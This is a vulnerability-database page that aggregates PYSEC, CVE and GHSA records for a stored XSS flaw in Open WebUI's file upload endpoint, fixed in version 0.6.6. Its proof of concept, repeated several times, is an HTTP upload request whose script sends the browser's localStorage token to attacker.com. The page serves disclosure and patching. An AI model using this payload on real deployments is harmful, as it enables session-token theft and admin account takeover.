PYSEC-2026-2713

Vulnerability from pysec - Published: 2026-07-13 15:46 - Updated: 2026-07-13 16:05

Details

Summary

Low privileged users can upload HTML files which contain JavaScript code via the /api/v1/files/ backend endpoint. This endpoint returns a file id, which can be used to open the file in the browser and trigger the JavaScript code in the user's browser. Under the default settings, files uploaded by low-privileged users can only be viewed by admins or themselves, limiting the impact of this vulnerability.

Details

The following HTTP request can be sent to the backend server to upload a file with the contents: <script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script>

POST /api/v1/files/ HTTP/1.1
Host: localhost:8080
Content-Length: 286
authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm

------WebKitFormBoundaryr0PnRBBHKXD9UEdm
Content-Disposition: form-data; name="file"; filename="test.html"
Content-Type: text/html

<h1>padding</h1>
<script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script>
------WebKitFormBoundaryr0PnRBBHKXD9UEdm--

Note the filename="test.html" , Content-Type: text/html, and `

padding

Severity

6.4 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

Impacted products

Name	purl
open-webui	pkg:pypi/open-webui

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui",
        "purl": "pkg:pypi/open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1.124",
        "0.1.125",
        "0.2.0",
        "0.2.1",
        "0.2.2",
        "0.2.3",
        "0.2.4",
        "0.2.5",
        "0.3.0",
        "0.3.1",
        "0.3.10",
        "0.3.12",
        "0.3.13",
        "0.3.14",
        "0.3.15",
        "0.3.16",
        "0.3.17",
        "0.3.17.dev2",
        "0.3.17.dev3",
        "0.3.17.dev4",
        "0.3.17.dev5",
        "0.3.18",
        "0.3.19",
        "0.3.2",
        "0.3.20",
        "0.3.21",
        "0.3.22",
        "0.3.23",
        "0.3.24",
        "0.3.25",
        "0.3.26",
        "0.3.27",
        "0.3.27.dev1",
        "0.3.27.dev2",
        "0.3.27.dev3",
        "0.3.28",
        "0.3.29",
        "0.3.3",
        "0.3.30",
        "0.3.30.dev1",
        "0.3.30.dev2",
        "0.3.31",
        "0.3.31.dev1",
        "0.3.32",
        "0.3.33",
        "0.3.33.dev1",
        "0.3.34",
        "0.3.35",
        "0.3.4",
        "0.3.5",
        "0.3.6",
        "0.3.7",
        "0.3.8",
        "0.3.9",
        "0.4.0",
        "0.4.0.dev1",
        "0.4.0.dev2",
        "0.4.1",
        "0.4.2",
        "0.4.3",
        "0.4.4",
        "0.4.5",
        "0.4.6",
        "0.4.6.dev1",
        "0.4.7",
        "0.4.8",
        "0.5.0",
        "0.5.0.dev1",
        "0.5.0.dev2",
        "0.5.1",
        "0.5.10",
        "0.5.11",
        "0.5.12",
        "0.5.13",
        "0.5.14",
        "0.5.15",
        "0.5.16",
        "0.5.17",
        "0.5.18",
        "0.5.19",
        "0.5.2",
        "0.5.20",
        "0.5.3",
        "0.5.3.dev1",
        "0.5.4",
        "0.5.5",
        "0.5.6",
        "0.5.7",
        "0.5.8",
        "0.5.9",
        "0.6.0",
        "0.6.1",
        "0.6.2",
        "0.6.3",
        "0.6.4",
        "0.6.5",
        "0.6.6.dev1"
      ]
    }
  ],
  "aliases": [
    "CVE-2025-46571",
    "GHSA-8gh5-qqh8-hq3x"
  ],
  "details": "### Summary\nLow privileged users can upload HTML files which contain JavaScript code via the `/api/v1/files/` backend endpoint. This endpoint returns a file id, which can be used to open the file in the browser and trigger the JavaScript code in the user\u0027s browser. Under the default settings, files uploaded by low-privileged users can only be viewed by admins or themselves, limiting the impact of this vulnerability.\n\n### Details\n\nThe following HTTP request can be sent to the backend server to upload a file with the contents:\n`\u003cscript\u003efetch(\"https://attacker.com/?token=\" + localStorage.getItem(\"token\"))\u003c/script\u003e`\n\n```http\nPOST /api/v1/files/ HTTP/1.1\nHost: localhost:8080\nContent-Length: 286\nauthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm\n\n------WebKitFormBoundaryr0PnRBBHKXD9UEdm\nContent-Disposition: form-data; name=\"file\"; filename=\"test.html\"\nContent-Type: text/html\n\n\u003ch1\u003epadding\u003c/h1\u003e\n\u003cscript\u003efetch(\"https://attacker.com/?token=\" + localStorage.getItem(\"token\"))\u003c/script\u003e\n------WebKitFormBoundaryr0PnRBBHKXD9UEdm--\n```\n\nNote the `filename=\"test.html\"` , `Content-Type: text/html`, and `\u003ch1\u003epadding\u003c/h`\u003e in the request\u0027s body. These are important because some form of sanitization or filtering was observed which caused errors when uploading an html file that only conained a `\u003cscript\u003e` tag. \n\nThe backend server responds to the above request with JSON data that contains an `id` parameter. \n\n![image](https://github.com/user-attachments/assets/ac15e108-d385-4e58-b29a-eb79aafbffda)\n\nThis ID can be used to view the uploaded file in the browser at `\u003cBackend_URL\u003e/api/v1/files/\u003cfile_id\u003e/content/html`\n\nBecause of the authorization checks done on lines https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/files.py#L434-L438, this file can only be viewed by admins and the user that uploaded it, but not by other low-privileged users, thus limiting the imact of this stored XSS vulnerability.\n\n### PoC\n\nFirst, upload an html containing JavaScript code to the backend server using the following HTTP request:\n```http\nPOST /api/v1/files/ HTTP/1.1\nHost: localhost:8080\nContent-Length: 286\nauthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm\n\n------WebKitFormBoundaryr0PnRBBHKXD9UEdm\nContent-Disposition: form-data; name=\"file\"; filename=\"test.html\"\nContent-Type: text/html\n\n\u003ch1\u003epadding\u003c/h1\u003e\n\u003cscript\u003efetch(\"https://attacker.com/?token=\" + localStorage.getItem(\"token\"))\u003c/script\u003e\n------WebKitFormBoundaryr0PnRBBHKXD9UEdm--\n```\n\nThen copy the `id` from the response and use it to view the file in the browser at `\u003cBackend_URL\u003e/api/v1/files/\u003cfile_id\u003e/content/html`\n\n\n### Impact\n\nLow privileged users can upload HTML files containing malicious JavaScript code. A link to such a file can be sent to an admin, and if clicked, will give the low-privileged user complete control over the admin\u0027s account, ultimately enabling RCE via functions, as described in https://github.com/open-webui/open-webui/security/advisories/GHSA-9f4f-jv96-8766",
  "id": "PYSEC-2026-2713",
  "modified": "2026-07-13T16:05:11.679315Z",
  "published": "2026-07-13T15:46:29.140160Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-8gh5-qqh8-hq3x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46571"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/commit/ef2aeb7c0eb976bac759e59ac359c94a5b8dc7e0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/files.py#L434-L438"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/releases/tag/v0.6.6"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/open-webui"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-8gh5-qqh8-hq3x"
    }
  ],
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Open WebUI  allows limited stored XSS vila uploaded html file"
}

CVE-2025-46571 (GCVE-0-2025-46571)

Vulnerability from cvelistv5 – Published: 2025-05-05 18:45 – Updated: 2025-05-05 18:59

Title

Open WebUI vulnerable to limited stored XSS vila uploaded html file

Summary

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to version 0.6.6, low privileged users can upload HTML files which contain JavaScript code via the `/api/v1/files/` backend endpoint. This endpoint returns a file id, which can be used to open the file in the browser and trigger the JavaScript code in the user's browser. Under the default settings, files uploaded by low-privileged users can only be viewed by admins or themselves, limiting the impact of this vulnerability. A link to such a file can be sent to an admin, and if clicked, will give the low-privileged user complete control over the admin's account, ultimately enabling RCE via functions. Version 0.6.6 contains a fix for the issue.

Severity

5.3 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:P

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2025-05-05 18:59 UTC

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M mitre root Scorecard

References

3 references

URL	Tags
https://github.com/open-webui/open-webui/security…	x_refsource_CONFIRM
https://github.com/open-webui/open-webui/commit/e…	x_refsource_MISC
https://github.com/open-webui/open-webui/blob/mai…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
open-webui	open-webui	Affected: < 0.6.6

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-46571",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-05-05T18:59:29.597804Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-05-05T18:59:48.168Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "open-webui",
          "vendor": "open-webui",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.6.6"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to version 0.6.6, low privileged users can upload HTML files which contain JavaScript code via the `/api/v1/files/` backend endpoint. This endpoint returns a file id, which can be used to open the file in the browser and trigger the JavaScript code in the user\u0027s browser. Under the default settings, files uploaded by low-privileged users can only be viewed by admins or themselves, limiting the impact of this vulnerability. A link to such a file can be sent to an admin, and if clicked, will give the low-privileged user complete control over the admin\u0027s account, ultimately enabling RCE via functions. Version 0.6.6 contains a fix for the issue."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "HIGH",
            "subConfidentialityImpact": "HIGH",
            "subIntegrityImpact": "HIGH",
            "userInteraction": "ACTIVE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:P",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-05-05T18:45:29.718Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/open-webui/open-webui/security/advisories/GHSA-8gh5-qqh8-hq3x",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-8gh5-qqh8-hq3x"
        },
        {
          "name": "https://github.com/open-webui/open-webui/commit/ef2aeb7c0eb976bac759e59ac359c94a5b8dc7e0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/open-webui/open-webui/commit/ef2aeb7c0eb976bac759e59ac359c94a5b8dc7e0"
        },
        {
          "name": "https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/files.py#L434-L438",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/files.py#L434-L438"
        }
      ],
      "source": {
        "advisory": "GHSA-8gh5-qqh8-hq3x",
        "discovery": "UNKNOWN"
      },
      "title": "Open WebUI vulnerable to limited stored XSS vila uploaded html file"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-46571",
    "datePublished": "2025-05-05T18:45:29.718Z",
    "dateReserved": "2025-04-24T21:10:48.175Z",
    "dateUpdated": "2025-05-05T18:59:48.168Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

GHSA-8GH5-QQH8-HQ3X

Vulnerability from github – Published: 2026-07-07 16:50 – Updated: 2026-07-07 16:50

Summary

Open WebUI allows limited stored XSS vila uploaded html file

Details

Summary

Details

The following HTTP request can be sent to the backend server to upload a file with the contents: <script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script>

POST /api/v1/files/ HTTP/1.1
Host: localhost:8080
Content-Length: 286
authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm

------WebKitFormBoundaryr0PnRBBHKXD9UEdm
Content-Disposition: form-data; name="file"; filename="test.html"
Content-Type: text/html

<h1>padding</h1>
<script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script>
------WebKitFormBoundaryr0PnRBBHKXD9UEdm--

Note the filename="test.html" , Content-Type: text/html, and `

padding

Severity

6.4 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-46571"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79",
      "CWE-87"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-07T16:50:43Z",
    "nvd_published_at": "2025-05-05T19:15:57Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nLow privileged users can upload HTML files which contain JavaScript code via the `/api/v1/files/` backend endpoint. This endpoint returns a file id, which can be used to open the file in the browser and trigger the JavaScript code in the user\u0027s browser. Under the default settings, files uploaded by low-privileged users can only be viewed by admins or themselves, limiting the impact of this vulnerability.\n\n### Details\n\nThe following HTTP request can be sent to the backend server to upload a file with the contents:\n`\u003cscript\u003efetch(\"https://attacker.com/?token=\" + localStorage.getItem(\"token\"))\u003c/script\u003e`\n\n```http\nPOST /api/v1/files/ HTTP/1.1\nHost: localhost:8080\nContent-Length: 286\nauthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm\n\n------WebKitFormBoundaryr0PnRBBHKXD9UEdm\nContent-Disposition: form-data; name=\"file\"; filename=\"test.html\"\nContent-Type: text/html\n\n\u003ch1\u003epadding\u003c/h1\u003e\n\u003cscript\u003efetch(\"https://attacker.com/?token=\" + localStorage.getItem(\"token\"))\u003c/script\u003e\n------WebKitFormBoundaryr0PnRBBHKXD9UEdm--\n```\n\nNote the `filename=\"test.html\"` , `Content-Type: text/html`, and `\u003ch1\u003epadding\u003c/h`\u003e in the request\u0027s body. These are important because some form of sanitization or filtering was observed which caused errors when uploading an html file that only conained a `\u003cscript\u003e` tag. \n\nThe backend server responds to the above request with JSON data that contains an `id` parameter. \n\n![image](https://github.com/user-attachments/assets/ac15e108-d385-4e58-b29a-eb79aafbffda)\n\nThis ID can be used to view the uploaded file in the browser at `\u003cBackend_URL\u003e/api/v1/files/\u003cfile_id\u003e/content/html`\n\nBecause of the authorization checks done on lines https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/files.py#L434-L438, this file can only be viewed by admins and the user that uploaded it, but not by other low-privileged users, thus limiting the imact of this stored XSS vulnerability.\n\n### PoC\n\nFirst, upload an html containing JavaScript code to the backend server using the following HTTP request:\n```http\nPOST /api/v1/files/ HTTP/1.1\nHost: localhost:8080\nContent-Length: 286\nauthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm\n\n------WebKitFormBoundaryr0PnRBBHKXD9UEdm\nContent-Disposition: form-data; name=\"file\"; filename=\"test.html\"\nContent-Type: text/html\n\n\u003ch1\u003epadding\u003c/h1\u003e\n\u003cscript\u003efetch(\"https://attacker.com/?token=\" + localStorage.getItem(\"token\"))\u003c/script\u003e\n------WebKitFormBoundaryr0PnRBBHKXD9UEdm--\n```\n\nThen copy the `id` from the response and use it to view the file in the browser at `\u003cBackend_URL\u003e/api/v1/files/\u003cfile_id\u003e/content/html`\n\n\n### Impact\n\nLow privileged users can upload HTML files containing malicious JavaScript code. A link to such a file can be sent to an admin, and if clicked, will give the low-privileged user complete control over the admin\u0027s account, ultimately enabling RCE via functions, as described in https://github.com/open-webui/open-webui/security/advisories/GHSA-9f4f-jv96-8766",
  "id": "GHSA-8gh5-qqh8-hq3x",
  "modified": "2026-07-07T16:50:43Z",
  "published": "2026-07-07T16:50:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-8gh5-qqh8-hq3x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46571"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/commit/ef2aeb7c0eb976bac759e59ac359c94a5b8dc7e0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/files.py#L434-L438"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/releases/tag/v0.6.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Open WebUI  allows limited stored XSS vila uploaded html file"
}

Sightings

Author	Source	Type	Date	Other

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Confirmed: The vulnerability has been validated from an analyst's perspective.
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Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

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PYSEC-2026-2713

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CVE-2025-46571 (GCVE-0-2025-46571)

GHSA-8GH5-QQH8-HQ3X

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